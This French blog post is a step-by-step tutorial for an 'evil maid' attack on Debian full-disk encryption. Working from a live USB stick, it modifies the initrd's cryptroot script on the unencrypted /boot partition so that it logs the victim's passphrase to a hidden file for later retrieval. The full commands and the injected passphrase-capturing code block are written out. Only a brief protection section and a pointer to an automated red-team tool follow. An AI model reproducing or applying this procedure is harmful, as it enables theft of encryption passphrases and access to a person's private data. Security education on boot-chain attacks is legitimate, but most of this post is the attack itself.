Contourner le chiffrement de disque sur les systèmes GNU/Linux

Posté par: xalicex | dans Hack | Il y a 9 mois, 1 semaine | 737 comments

Dans cet article nous allons apprendre à voler une passphrase d'un disque chiffré par défaut sur un poste GNU/Linux sur une distribution Debian.

Comment ? grâce à l'intrusion physique \o/

Le principe de cette attaque est simple. Par défaut le chiffrements de disque proposé par Debian mais aussi beaucoup d'autres distributions ne chiffrent pas le /boot. Cela même si c'est possible depuis Grub2...

Nous allons grâce à une clé live boot, démarrer sur le poste et modifier le script présent dans /boot demandant notre passphrase pour déchiffrer notre disque afin que celui-ci l'enregistre dans un fichier sur ce même /boot.  Une fois cela fait, la prochaine fois qu'un utilisateur ou une utilisatrice entrera sa passphrase celle-ci sera écrite sur la partie du disque en clair.

Il n'y aura plus qu'à rebooter ensuite sur la machine avec notre clé live et récupérer le contenu du fichier où la passphrase est écrite et le tour est joué !

Pré-requis pour cet exemple

  • debian-live stretch sur une clé usb ou un cd
  • Une machine cible avec la possibilité de booter sur une clé usb
  • 2 accés physique à la machine (1 pour déployer l'attaque, 1 pour récupérer le résultat)

Pour cette exemple on prendra :


Victime : une debian stretch nommée "vict" avec un disque chiffré basiquement comme le propose l'installeur debian (c'est à dire avec la partition /boot en clair)

Attaquant : une clé usb debian-live de stretch nommé "hack"



/!\ Dans notre exemple le initrd.img sera initrd.img-3.16.0-6-amd64. La partie 3.16.0-6-amd64 de notre fichier est propre à la version du Kernel elle est donc variable. /!\

Exploitation

  • L'attaquant insert sa clé usb "hack" dans  la machine "vict"
  • L'attaquant démarre vict est la fait booter sur "hack"
  • une fois que "vict" est bien booté sur "hack" ouvrir un terminal
  • Si le clavier est en qwerty et que vous voulez passer en azerty tapez :
$ setxkbmap fr
  • Passez root si vous ne l'êtes pas déjà
sudo -s 
#ou
su
  • Montez la partition /boot en clair de "vict" dans le répertoire /mnt de "hack"
$ mount /dev/sda1 /mnt

À partir d'ici nous partirons du principe que "vict" est sur un système debian

  • Allez dans /mnt et regardez si cela correspond bien à une partion /boot (présence de fichier/dossier vmlinuz, initrd, grub)
  • Créez un répertoire de travail hors de /mnt. Nous le créerons à la racine du système pour l'exemple ("/")
$ mkdir /work

Nous faisons ça car la partition /boot crée de base par l'installeur debian est petite (236Mo) et nous risquons d'être a court d'espace
dans la suite si nous continuons à travailler dedans.

  • Copiez le fichier commençant par "initrd.img-" (en arch ce sera initramfs-linux.img) dans work  (/!\ Bien retenir le nom original du fichier que vous venez de copier. Il sera *TRÈS* important /!\)
$ cp /mnt/initrd.img-3.16.0-6-amd64 /work/
  • Le fichier "initrd.img-3.16.0-6-amd64" est un gzip. Pour pouvoir le décompresser renommez votre fichier "initrd.img-3.16.0-6-amd64"  en "initrd.img-3.16.0-6-amd64.gz"
$ cd /work && mv initrd.img-3.16.0-6-amd64 initrd.img-3.16.0-6-amd64.gz
  • Décompressez le fichier
$ gzip -d initrd.img-3.16.0-6-amd64.gz
  • Vous obtenez un fichier initrd.img-3.16.0-6-amd64 qui est une archive CPIO. Pour le décompresser
$ cpio -i < initrd.img-3.16.0-6-amd64

Vous avez maintenant dans le repertoire une arborescence minimaliste. Mais pourquoi ? Et qu'est ce que le fichier initrd ?

Le fichier initrd pour INITial RamDisk est le fichier qui, au démarrage, sera chargé en RAM afin de permettre à l'OS d'avoir un sytème de fichier minimal permettant ainsi de charger le système de fichier principal.

  • Vous devez trouver dans cette arborescence le script en charge de la gestion de la passphrase pour le déchiffrement du disque. Pour trouver ce fichier faites une recherche sur la base de la phrase qui est demandé sur le systeme de "vict" quand vous devez rentrer votre passphrase pour déchiffrer le disque. Sur notre exemple c'est "Please unlock disk" donc on execute la commande
$ rgrep "Please unlock disk"
  • Vous pouvez avoir plusieurs fichier comme résultat, dans ce cas à vous de déterminer celui à modifier. Dans notre exemple nous aurons plusieurs résultats. Celui à modifier et qui sera utilisé au moment où "vict" démarrera est scripts/local-top/cryptroot
  • Ouvrir scripts/local-top/cryptroot
$ vi scripts/local-top/cryptroot
  • Dans le fichier, chercher le pattern "cryptsetup failed, bad password or option?"
  • Repérez le début de la boucle while dans lequel est présent ce message. C'est juste avant le début de la boucle que nous allons ajouter notre code malveillant. Dans notre exemple le début de la boucle while est environ à la ligne 303
 while [ $crypttries -le 0 ] || [ $count -lt $crypttries ]; do
  •  Avant le début de la boucle nous insérons ce code :
##HACK BEGIN
zer=$($cryptkeyscript "$cryptkey")
mkdir oklm
mount -t ext2 -o rw /dev/sda1 oklm
echo $zer >> oklm/.kernel_option.tmp
umount oklm
##HACK END

Ce code écrit la passphrase tapée par la victime et l'écrit dans un fichier sur la partition /boot/ du disque.

  • Enregistrez la modification du fichier
  • Supprimez le fichier cpio initrd que vous avez décompressé et qui est encore présent dans votre répertoire work
  • Nous crééons un nouveau fichier cpio avec notre fichier modifié
$ find . | cpio -H newc -o > ../initrd.img-3.16.0-6-amd64

/!\ Dans cette partie le nouveau fichier cpio va être créé au dessus du repertoire work /!\
/!\ Dans la partie "cpio -H newc -o > ../initrd.img-3.16.0-6-amd64*", le initrd.img créé doit porter *EXACTEMENT* le même nom que la version que vous avez décompressez du fichier cpio.

  • On compresse le fichier cpio fraîchement créé compressé en gzip
$ gzip ../initrd.img-3.16.0-6-amd64
  •  On déplace dans /mnt (la partition boot de "vict") initrd.img-3.16.0-6-amd64.gz qui vient d'être créé en> supprimant au passage le .gz qui a été rajouté lors de la compression en gzip (si on le laisse ça ne marchera pas).
$ mv ../initrd.img-*.gz /mnt/initrd.img-3.16.0-6-amd64

Cela copiera dans le /boot du système notre initrd avec notre exploit en écrasant par la meme occasion l'ancien.

  • S'assurer que c'est bien la nouvelle version de initrd.img-3.16.0-6-amd64 qui la seule présente dans /mnt/ (et sans l'extension .gz avec exactement le même nom que le fichier original)
  • Si c'est bon, démontez le /boot monté dans /mnt
$ cd && umount /mnt
  • Eteindre la machine

Post Exploitation

La victime doit avoir avant cette étape réutilisé sa machine et donc tapé sa passphrase.
Il est mieux d'attendre que cela ait été le cas plusieurs fois au cas où il y ait eu une faute de frappe au moment où elle a entré sa passphrase, ainsi il y aura plusieurs entrées dans notre fichier avec à chaque fois la passphrase.

  • Insérez "hack" dans "vict" et faite booter "vict" sur "hack"
  • Montez la partition /boot de vict dans /mnt
$ mount /dev/sda1 /mnt
  • Consulter les données dans le fichier /mnt/.kernel_option.tmp
$ cat /mnt/.kernel_option.tmp
  • Tadam \o/ vous avez la passphrase de votre victime sous vos yeux ébahis.

Protection

Pour se protéger de ce genre d'attaque il est nécessaire de mettre en place 2 choses :

  • Désactiver dans le BIOS le boot sur clé USB, CD ou autre periphérique et ne l'activer que quand c'est nécessaire
  • Chiffrer son /boot comme le permet Grub2. Cela permet de ce prémunir contre un attaquant effectuant une extraction du disque et l'insérant dans une autre machine pour l'attaquer. Plusieurs tutoriels existent en ligne pour chiffrer son /boot. Je vous recommande celui-ci.

Outil

Des versions automatisés de cette attaque existe un de ces outil "Evil Abigail" peut-être trouvé ici. Cela vous fera gagner un temps précieux lors de vos missions Red Team ;-)

Commentaires

Pas de commentaires actuellement

Nouveau commentaire

requis

requis (non publié)

optionnel

captcha

Proudly propulsed by Django framework.
Code available Here.